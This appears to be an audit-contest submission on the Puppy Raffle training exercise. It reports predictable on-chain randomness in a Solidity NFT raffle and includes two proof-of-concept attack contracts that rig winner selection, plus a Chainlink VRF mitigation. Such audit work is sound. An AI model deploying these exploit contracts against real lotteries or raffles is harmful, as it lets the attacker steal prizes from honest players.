Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Weak Randomness Using On-Chain Data Enables Winner Prediction and Manipulation

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • The winner selection should:

    • Use cryptographically secure randomness that cannot be predicted

    • Ensure all players have equal probability of winning

    • Prevent any party from manipulating the outcome

    • Generate unpredictable NFT rarities

  • Explain the specific issue or problem in one or more sentences

  • msg.sender: Known to the caller before transaction
    block.timestamp: Known within ~15 seconds, manipulatable by miners by ±15 seconds
    block.difficulty: Deprecated post-merge, becomes block.prevrandao which miners can influence

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
// @> VULNERABILITY: Using predictable on-chain data for randomness
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
// ... prize calculation ...
// @> VULNERABILITY: Same weak randomness for rarity
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
// ...
}

Risk

Likelihood:

Reason 1: Any player can predict the winner by simulating the selectWinner() call off-chain before submitting the transaction. If they would win, they call it; if not, they wait for someone else to call it or wait for a better timestamp.

Reason 2: Miners/validators can manipulate block.timestamp by ±15 seconds and block.prevrandao (formerly block.difficulty) to influence outcomes, especially for high-value raffles.

Reason 3: Attackers can enter the raffle multiple times with different addresses at specific positions in the array to maximize their winning probability when combined with timestamp manipulation.

Impact:

Impact 1: Sophisticated players can only call selectWinner() when they would win, effectively rigging the raffle in their favor and stealing prizes from legitimate players.

Impact 2: The raffle becomes unfair, destroying the protocol's purpose and reputation. Players lose trust when they realize outcomes are manipulatable.

Impact 3: Valuable NFTs with rare traits can be sniped by attackers who manipulate rarity generation, undermining the NFT collection's value and integrity.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;
import {PuppyRaffle} from "./PuppyRaffle.sol";
contract WinnerManipulator {
PuppyRaffle public puppyRaffle;
constructor(address _puppyRaffle) {
puppyRaffle = PuppyRaffle(_puppyRaffle);
}
// Predict if we would win before calling selectWinner
function predictWinner() public view returns (address predictedWinner, uint256 predictedIndex) {
uint256 playersLength = puppyRaffle.players.length;
// Simulate the exact same calculation as selectWinner()
uint256 winnerIndex = uint256(
keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))
) % playersLength;
address winner = puppyRaffle.players(winnerIndex);
return (winner, winnerIndex);
}
// Only call selectWinner if we would win
function selectWinnerIfWeWin() external {
(address predictedWinner, ) = predictWinner();
// Only proceed if we're the predicted winner
require(predictedWinner == address(this), "We wouldn't win, abort!");
puppyRaffle.selectWinner();
}
// Alternative: Try multiple times with different timestamps
function bruteForceWin() external {
// Keep trying until we win or gas runs out
// In practice, attacker would call this off-chain first to find winning timestamp
while (true) {
(address predictedWinner, ) = predictWinner();
if (predictedWinner == address(this)) {
puppyRaffle.selectWinner();
break;
}
// In real attack, would wait for next block/timestamp
// Here just for illustration
}
}
}
// Test demonstrating predictability
contract PredictabilityTest {
PuppyRaffle public puppyRaffle;
function testPredictability() public {
// Setup raffle with 4 players
address[] memory players = new address[](4);
players[0] = address(0x1);
players[1] = address(0x2);
players[2] = address(0x3);
players[3] = address(0x4);
// ... enter raffle ...
// Attacker can calculate winner BEFORE calling selectWinner
uint256 predictedIndex = uint256(
keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))
) % 4;
address predictedWinner = players[predictedIndex];
// Call selectWinner
puppyRaffle.selectWinner();
address actualWinner = puppyRaffle.previousWinner();
// They will match - randomness is predictable!
assert(predictedWinner == actualWinner);
}
}
// Advanced attack: Miner manipulation
// A miner can try different block.timestamp values (±15 seconds allowed)
// and different block.difficulty values to find one where they win
//
// Example:
// for timestamp in [currentTime - 15s ... currentTime + 15s]:
// for prevrandao in possibleValues:
// if simulateWinner(timestamp, prevrandao) == minerAddress:
// mineBlockWithTheseValues()
// break

Recommended Mitigation

- remove this code
+ add this code+ import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
+ import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
- contract PuppyRaffle is ERC721, Ownable {
+ contract PuppyRaffle is ERC721, Ownable, VRFConsumerBaseV2 {
+ VRFCoordinatorV2Interface private immutable i_vrfCoordinator;
+ bytes32 private immutable i_keyHash;
+ uint64 private immutable i_subscriptionId;
+ uint32 private constant CALLBACK_GAS_LIMIT = 500000;
+ uint16 private constant REQUEST_CONFIRMATIONS = 3;
+ uint32 private constant NUM_WORDS = 2; // One for winner, one for rarity
+
+ mapping(uint256 => uint256) private s_requestIdToPlayers;
- function selectWinner() external {
+ function requestWinner() external returns (uint256 requestId) {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
- // ... rest of selection logic ...
+
+ // Request random words from Chainlink VRF
+ requestId = i_vrfCoordinator.requestRandomWords(
+ i_keyHash,
+ i_subscriptionId,
+ REQUEST_CONFIRMATIONS,
+ CALLBACK_GAS_LIMIT,
+ NUM_WORDS
+ );
+
+ s_requestIdToPlayers[requestId] = players.length;
+ return requestId;
}
+
+ // Chainlink calls this with random words
+ function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {
+ uint256 playersLength = s_requestIdToPlayers[requestId];
+
+ // Use truly random number for winner
+ uint256 winnerIndex = randomWords[0] % playersLength;
+ address winner = players[winnerIndex];
+
+ // Use truly random number for rarity
+ uint256 rarity = randomWords[1] % 100;
+
+ // ... rest of winner selection logic ...
+ }
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 11 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!